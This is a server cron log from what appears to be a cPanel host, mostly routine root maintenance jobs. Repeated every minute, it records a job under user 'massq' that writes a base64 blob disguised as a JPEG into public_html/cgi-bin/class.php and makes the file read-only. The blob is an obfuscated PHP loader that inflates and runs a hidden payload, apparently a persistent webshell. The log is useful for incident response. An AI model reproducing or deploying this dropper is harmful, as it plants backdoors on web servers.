Sep  6 16:59:01 server CROND[25930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:00:01 server CROND[26417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:00:01 server CROND[26419]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:00:01 server CROND[26422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:00:01 server CROND[26427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:00:01 server CROND[26423]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:00:01 server CROND[26428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:00:01 server CROND[26426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:00:01 server CROND[26425]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 17:00:01 server CROND[26424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:01:01 server CROND[27258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:01:01 server CROND[27260]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 17:01:01 server CROND[27261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:01:01 server CROND[27259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:01:01 server run-parts(/etc/cron.hourly)[27260]: starting 0anacron
Sep  6 17:01:01 server run-parts(/etc/cron.hourly)[27280]: finished 0anacron
Sep  6 17:02:01 server CROND[27668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:02:01 server CROND[27670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:02:01 server CROND[27669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:03:01 server CROND[28052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:03:01 server CROND[28053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:03:01 server CROND[28054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:04:01 server CROND[28431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:04:01 server CROND[28432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:04:01 server CROND[28433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:05:01 server CROND[28810]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 17:05:01 server CROND[28811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:05:01 server CROND[28816]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:05:01 server CROND[28819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:05:01 server CROND[28822]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:05:01 server CROND[28823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:05:01 server CROND[28818]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 17:05:01 server CROND[28820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:05:01 server CROND[28815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:06:01 server CROND[29763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:06:01 server CROND[29764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:06:01 server CROND[29765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:07:01 server CROND[30138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:07:01 server CROND[30139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:07:01 server CROND[30140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:08:01 server CROND[30508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:08:01 server CROND[30509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:08:01 server CROND[30507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:09:01 server CROND[30879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:09:01 server CROND[30883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:09:01 server CROND[30884]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 17:09:01 server CROND[30882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:10:01 server CROND[31265]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:10:01 server CROND[31269]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:10:01 server CROND[31267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:10:01 server CROND[31268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
